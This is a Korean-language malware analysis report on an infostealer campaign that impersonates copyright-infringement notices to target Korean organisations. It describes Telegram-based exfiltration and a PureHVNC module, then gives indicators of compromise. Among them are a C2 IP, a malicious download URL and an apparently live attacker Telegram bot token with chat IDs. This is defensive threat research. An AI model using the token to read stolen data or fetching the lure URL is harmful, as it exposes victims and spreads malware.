본 보고서에서 분석한 악성코드는 국내 기업, 기관, 대학 등을 대상으로 저작권 침해 통지를 사칭한 이메일을 통해 유포된 고도화된 인포스틸러 계열 악성코드다. 사용자가 이메일 본문 내 링크를 클릭하면, 다단계 Redirection을 거쳐 악성 압축파일을 다운로드하게 되며, PDF로 위장된 실행파일을 통해 감염이 시작된다. 이처럼 사회공학 기법과 시각적 위장을 결합한 초기 유입 방식은 사용자의 실행을 유도하기 위해 공격자가 자주 활용하는 수법으로, 국내외 다양한 공격 사례에서도 반복적으로 관찰되고 있다.
악성코드는 Python 기반 인포스틸러와 PureHVNC 계열 인포스틸러라는 두 개의 주요 모듈로 구성된다. Python 기반 인포스틸러는 시스템 내 브라우저 데이터, 로그인 정보, 카드 정보, Google 토큰, Facebook 쿠키 등 다양한 개인정보를 수집하고, 이를 ZIP으로 압축해 Telegram 메시지 API를 통해 공격자 채널로 유출한다. 수집된 정보는 최초 감염 여부에 따라 다른 Telegram 채널로 전송된다. 최초 감염 시에는 “New Log notification” 채널로 시스템 정보를 먼저 전송하고, 이후 “New Logs” 채널로 수집 정보를 전송한다. 반면 재감염의 경우에는 “Reset logs” 채널만을 활용한다. 이 구조는 공격자가 감염 단계를 식별하고 피해자 시스템을 분류·추적할 수 있도록 설계된 것으로, 체계적인 피해 관리와 공격 운영이 이뤄지고 있음을 보여준다.
해당 채널들은 악성코드 내부에 하드코딩된 Telegram 봇 토큰과 채팅 ID를 기반으로 동작하며, 실제 Telegram API를 이용해 채널 메시지를 분석한 결과 수많은 정보 유출 정황이 확인되었다. 특히 전체 유출 건수 중 한국 내 기업 및 기관과 관련된 정보가 대부분을 차지하고 있었으며, 아래 그림에서도 이러한 분포가 명확히 드러난다. 이로 인해 본 공격이 특정 국가, 특히 한국을 주요 타깃으로 삼고 있다는 점이 정량적으로 입증된다.
![[그림 39] 전체 유출 건수 대비 한국 유출 건수 비중](/api/media/file/39._%EC%A0%84%EC%B2%B4_%EC%9C%A0%EC%B6%9C_%EA%B1%B4%EC%88%98_%EB%8C%80%EB%B9%84_%ED%95%9C%EA%B5%AD_%EC%9C%A0%EC%B6%9C_%EA%B1%B4%EC%88%98_%EB%B9%84%EC%A4%91.png)
[그림 39] 전체 유출 건수 대비 한국 유출 건수 비중
Python 기반 인포스틸러에서 생성한 압축파일의 주석에는 "Lone None"이라는 Telegram 계정이 포함되어 있었으며, 분석 결과 이 계정은 베트남 기반으로 추정된다. 해당 계정은 자신이 제작한 악성코드의 탐지 회피 성능을 보여주기 위해, 바이러스 검사 사이트의 진단 결과 링크를 공유한 것으로 보인다. 해당 링크는 사용자 파일을 업로드하여 검사 결과를 확인할 수 있는 공개 검사 도구이며, 현재는 접속이 불가능한 상태다.
따라서 “Lone None”은 악성코드 제작자일 가능성이 높으며, 한국을 겨냥한 공격자는 해당 악성코드를 구매하거나 유포 방식만 따로 운영한 것으로 추정된다.
![[그림 40] 압축파일 주석에 포함된 Telegram 계정 “Lone none” 프로필 화면](/api/media/file/40._%EC%95%95%EC%B6%95%ED%8C%8C%EC%9D%BC_%EC%A3%BC%EC%84%9D%EC%97%90_%ED%8F%AC%ED%95%A8%EB%90%9C_Telegram_%EA%B3%84%EC%A0%95_%E2%80%9CLone_none%E2%80%9D_%ED%94%84%EB%A1%9C%ED%95%84_%ED%99%94%EB%A9%B4.png)
[그림 40] 압축파일 주석에 포함된 Telegram 계정 “Lone none” 프로필 화면
두 번째 단계에서는 PureHVNC 계열 인포스틸러가 메모리에 로드된다. 이 모듈은 Protobuf로 정의된 공격자 지정 객체인 “RoleResponder”를 생성하여 수집 데이터를 구조화하고, TLS 채널을 통해 외부로 전송한다. 해당 객체에는 백신 제품, 사용자 권한, 운영체제 정보, 암호화폐 지갑 및 인증 앱 설치 여부, 카메라 존재 여부 등 다양한 민감 시스템 정보가 포함된다. 또한 이 모듈은 플러그인 수신 및 실행 루틴을 포함하고 있어, 공격자가 명령을 통해 기능을 동적으로 확장할 수 있다. 이는 단순 정보 수집을 넘어, 장기적인 시스템 장악 가능성을 의미하며 위협 수준을 한층 높이는 요소다.
이번 사례는 단순한 인포스틸러가 아닌, 다단계 페이로드 로딩 구조와 정교한 정보 수집·전송·플러그인 실행까지 아우르는 고도화된 공격 체계를 갖춘 캠페인이다. 사회공학적 초기 유입부터 파일리스 실행, 모듈화된 페이로드 구성까지 모든 단계에서 보안 탐지를 회피하도록 설계되어 있으며, 피해 규모와 범위 또한 광범위하다.
특히 한국을 주요 공격 대상으로 삼고 있다는 점에서, 국내 보안 담당자는 정보 유출형 악성코드에 대한 탐지 체계 강화와 함께 유사 위협에 대한 선제적 대응 방안을 마련할 필요가 있다. 아울러 실존 기관을 사칭한 저작권 위반 통지 메일과 같은 악성 메일에 대한 경각심을 높이고, 임직원 대상의 보안 인식 제고와 사전 교육 또한 병행해야 한다.
7. IoC 정보
7.1. sha 256 해시
- B5183D1BF139037F23AB33C1CC8C2282BA696A266D67F0D34D3C74F6945577A4
- A088131E8EB4E2178789AF49B646AB463CF9A1F48DA51698448206DF21DB5C95
- 9E296EDE93F1A918DC58D3D4699A3210A9671584AB5FE3F34B91438137FC8F08
- 08C7FB6067ACC8AC207D28AB616C9EA5BC0D394956455D6A3EECB73F8010F7A2
- BD115A575E86E61CEA9136C5A2C47E090BA484DC2DEE8B51A34111BB094266D5
- C562DE4573FF41992903901DB8355CEE6E4520943923FE3076BA1B9829ABE6E6
- 36160A8D8C4421B9AFA3223AF27DA6BAE94349C1DB633C9D3B9C37B6AA458D61
- 47D9E719076D75CDC25C014BF07466F2FDE047FBD97C284A23BE559061E7E637
- A18BD16BF8B4C95C930F67516003F0F41180D6BAAB17D20880C1B819C3E104CF
- 5A43DC2BBEFCF785B881A289108CB7F947735BFA55E28B75FB0D3823D00E1678
7.2. IP
- 107.178.110.167:56001 ~ 56003
7.3. URL
- https://kiteaero.net?u=https://www.mediafire.com/file/v7a5luie9jbqeui/위반사항+조사파일+내+문서.zip/file
- https://t.me/MRB_EJ5rzJUt9L_bot
- https://api.telegram.org/bot7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ
7.4. Telegram
- BOT TOKEN: 7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ
- CHAT ID: - 1002269424055 / New Logs
- CHAT ID: -1002425561453 / Reset Logs
- CHAT ID: - 1002468897237 / New Log Notification